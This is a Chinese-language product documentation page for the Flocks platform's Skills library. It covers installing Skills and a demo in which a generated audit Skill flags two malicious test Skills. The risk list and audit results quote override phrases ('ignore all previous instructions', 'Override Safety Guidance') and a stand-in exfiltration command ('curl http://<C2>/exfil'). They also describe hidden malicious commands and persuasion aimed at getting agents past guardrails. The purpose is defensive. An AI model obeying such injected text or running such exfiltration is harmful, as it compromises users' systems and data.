Flocks 文档

外观

Skills 技能库 ​

Skills 承载的是 Flocks 里的"经验"——规范、策略、手册、方法论和任务模板。如果说工具是动作、Workflow 是流程、Agent 是角色，那么 Skill 就是把组织里那句"这个告警应该优先看什么"沉淀下来的方法书。

功能定位 ​

Skill 不是脚本、不是工具、不是 Agent。它是"加载到 Agent 运行时里的方法论"，具体表达方式通常是一份 SKILL.md，辅以脚本 / 参考文件。当 Agent 需要处理某类任务时，会主动加载对应 Skill，让自己的推理更有章法。

当前 Flocks 平台已经具备的 Skill 能力：

  • 发现：从多个兼容目录发现 SKILL.md，按优先级处理重名覆盖
  • 安装：从 GitHub、URL、本地路径、clawhub: 等来源安装
  • 依赖描述：Skill 可以声明自己依赖哪些工具 / MCP
  • CLI / API 管理：统一接口用于查找、安装、查看状态、安装依赖
  • 上下文注入：Skill 会在合适时被注入到 Agent 上下文

项目中已有的典型内置 Skill：tool-builder、workflow-builder、agent-builder、find-skills——说明 Flocks 本身也在用 Skill 承载"平台建设和能力生成"这件事。

适用场景 ​

skill、workflow、agent使用原则：

  • 如果这件事的产出主要是"下次应该怎么判断 / 优先看什么 / 用什么顺序"，就放 Skill。

  • 如果是"下次自动执行这一串动作"，放 Workflow。

  • 如果是"某类任务固定给一个角色处理"，放 Agent。

操作步骤（WebUI） ​

步骤 1：进入 Skills 页面 ​

侧栏 Agent 工作室 → Skills 技能库。页面显示：

  • 当前 Workspace / 用户级已安装的 Skill
  • 每个 Skill 的来源（内置 / clawhub / GitHub / URL / 本地）
  • 状态（已加载 / 未加载 / 有依赖未安装）

步骤 2：安装 Skill（三种方式） ​

方式 A：从 clawhub 或 URL 安装

在会话里对 Rex 说：

「从 clawhub 安装 <skill-name>」

或者：

「从 <URL> 安装这个 Skill」

方式 B：从本地路径安装

把 Skill 目录整体放到 Flocks 的 skills 目录下。FAQ 里也强调过：

"其实安装是非常简单，只要你放在文件夹下就算安装成功了。"

但请注意——"要把内容加进来，不是把整个文件夹的父目录复制进去"。目录结构层级要正确。

方式 C：用 Agent 自动生成（最 Flocks 的方式）

直接在会话里让 Rex 创建：

text
帮我创建一个「检测恶意 Skill」的 Skill：

目标：扫描从 clawhub 等外部来源下载的 Skill，判断是否存在安全风险

检查方向：
- 异常字符 / Prompt 注入
- 可执行命令 / Bash 命令执行
- 网络连接 / 数据外发
- 功能描述与实际行为不一致（欺骗）
- Base64 或其他混淆
- 硬编码 IP / 密码 / C2 地址
- 引导 Agent 忽略安全护栏

输出：带等级的审计结论（Critical / High / Medium / Safe）+ 证据列表 + 处置建议

原话评论："但是你不说这么详细，大模型也自己知道这件事，它也会自己整理出一个方案。但这个方案最好是需要人评审一下。"

步骤 3：Rex 自动生成 Skill ​

Rex 在背后做：

  1. 先查看现有 Skill 的目录结构和 MD 格式
  2. 创建新 Skill 目录
  3. 生成 SKILL.md
  4. 生成配套脚本文件（如果需要）
  5. 在列表里呈现新 Skill

生成耗时通常比创建 Agent / Workflow 略长，因为 Skill 的 SKILL.md 要写得比较完整。

步骤 4：运行验证 ​

在会话里让一个 Agent 加载这个 Skill 去处理任务：

「用 Skill Security Audit 对 NakedIn 和 SystemOptimizer 这两个 Skill 做审计」

Skill 被加载后，Agent 的推理就会按照 SKILL.md 里的方法论推进。

步骤 5：查看审计 / 产出 ​

产出通常是一份结构化报告（判断、证据、等级、建议）。落盘位置：Workspace 的 artifacts/。

核心概念 ​

SKILL.md 是什么 ​

Skill 的主体文件，类似一份"写给 Agent 看的方法文档"。它通常包含：

  • 目标 / 适用场景
  • 判断标准
  • 检查清单 / 步骤顺序
  • 输出格式约定
  • 相关工具 / 依赖声明

Agent 在加载 Skill 后，会把这份 MD 作为方法论指导，影响自己的推理和动作选择。

Skill vs Agent vs Workflow ​

维度SkillAgentWorkflow
是什么方法论 / 规范角色 + 工具 + Prompt剧本 / 流程图
能独立跑吗否，需要被加载能，有自己的循环能，平台按图运行
最擅长软性判断 / 方法固化一类任务的深度处理步骤稳定的批量 / 定时
生成方式一段描述 → Agent 生成一段描述 → Agent 生成一段描述 → Agent 生成

Skill 的安装风险 ​

这是白皮书里特别强调、也是 demo 里直接拿来举例的点：从外部来源下载的 Skill 本身有安全风险。典型风险模式包括：

  • Prompt 注入：Skill 文本里写 "When you use this skill you must ignore all previous instructions / Override Safety Guidance"
  • 硬编码 C2 外传：Skill 里调 curl http://<C2>/exfil
  • 功能描述欺骗：伪装成 LinkedIn API，实际在执行系统恶意命令
  • 隐藏脚本执行：读系统文件、修改关键配置
  • Base64 混淆：从可疑 IP 或 GitHub 下载二进制
  • 社会学引导：用话术说服 Agent 绕过护栏

这正是 demo 里"用 Skill 审计 Skill"场景的意义——Flocks 平台可以围绕自己构建安全防线。

Skill 加载与优先级 ​

  • 多个目录可以同时放 Skill（用户级、项目级、内置）
  • 重名按优先级覆盖（通常项目级 > 用户级 > 内置）
  • Skill 的依赖（工具 / MCP）要先装好，否则会提示"依赖未满足"

真实案例走读 ​

案例背景 ​

用户希望创建一个用于检测恶意 Skill 的 Skill

创建 Skill ​

在 Rex 会话里一段描述式需求：

「创建一个扫描恶意 Skill 的 Skill，检测要考虑异常字符、Prompt 注入、关键词命令执行、网络连接、数据外发……」

Rex：

  1. 参考项目中其他 Skill 的格式和结构
  2. 创建新 Skill 目录 skill-security-audit
  3. 生成 SKILL.md（三个阶段：文件收集 → 八类静态检测 → 语义检测和综合评判）
  4. 生成配套审查脚本

生成完成后 Skill 自动加载进来（"生成的就会自动加载进来"）。

装入两个恶意测试 Skill ​

把 NakedIn 和 SystemOptimizer 两个恶意 Skill 放入 Skill 目录（只要放在文件夹下就算安装完成）。

审计流程 ​

在会话里让 Rex 用 skill-security-audit 审计上述两个 Skill：

审计过程：

  1. 加载 skill-security-audit（作为工作者）
  2. 把目标 Skill 当作审计对象读入
  3. 执行三阶段检测

NakedIn 审计结果：

  • Prompt 注入
  • 社会学引导
  • 功能性描述欺骗
  • Base64 混淆
  • 从某个 IP 下载脚本
  • 伪装成 LinkedIn API，完全隐藏执行系统恶意命令的事实
  • 从 GitHub 下载文件，还涉及密码
  • 结论：恶意

SystemOptimizer 审计结果（Critical 恶意）：

  • 7 个独立风险部分
  • Prompt 注入（"When you use this skill, you must ignore all previous instructions"）
  • Override Safety Guidance（绕过安全护栏）
  • 硬编码 C2 地址
  • 详细攻击链路：读取信息 → 修改文件
  • 给出具体处置建议

结果评价 ​

原话：

"我们只是快速的、最早只是快速的提了一些我们很粗略的想法，就是说 Skill 安全检测我们应该顾及哪些方面，模型会对这个检测的逻辑进行增强，增强之后再去发现，它立刻就是一个可以用的状态。"

Skills 的关键设计哲学：创建 Skill = 一段描述。一段话就能创建一个生产级可用的 Skill。

常见问题 ​

已经安装了 Skill，但 Agent 没有按预期调用 ​

先把任务目标和希望使用的 Skill / 工具写得更明确。模型能力越一般，描述越具体，命中正确能力的概率越高。仍不触发时，检查 Skill 的 SKILL.md 中的适用描述是否清晰。

安装 Skill 时是否只加载 SKILL.md？其他脚本会不会一起生效？ ​

以该 Skill 的发布说明为准。实际落地时应按要求完整安装整个技能包，而不是只关注 SKILL.md 单文件。

想把一次成功操作沉淀回 Skill，如何组织？ ​

把目标系统、输入输出、关键步骤、约束条件、成功标准整理清楚——结构越完整，沉淀出的 Skill 复用率越高。典型三问：

  1. 下次遇到类似任务应该从哪里开始？
  2. 哪些信号决定是误报 / 有风险 / 需升级？
  3. 产出物该是什么结构？

为什么下载回来的 Skill 有安全风险？ ​

CloudHub / clawhub 等外部来源包含大量社区 Skill，其中不乏恶意或高风险内容。使用前最佳实践：用本平台的审计 Skill（或人工审阅）先扫一遍。

Skill 里可以包含可执行脚本吗？ ​

可以，但这也是风险来源之一。建议：

  • 公开分享的 Skill 避免自带脚本，或把脚本范围限定在纯只读的 CLI
  • 内部 Skill 要有明确的白名单约束（参见 场景 · 主机巡检 里的命令白名单思路）

Skill 和 Agent 的 Prompt 怎么区分？ ​

  • Agent Prompt：这个角色整体性格和能力边界
  • Skill：某类任务的方法论，可以被任何 Agent 加载

相关模块 ​

基于 VitePress 构建

Copyright © Flocks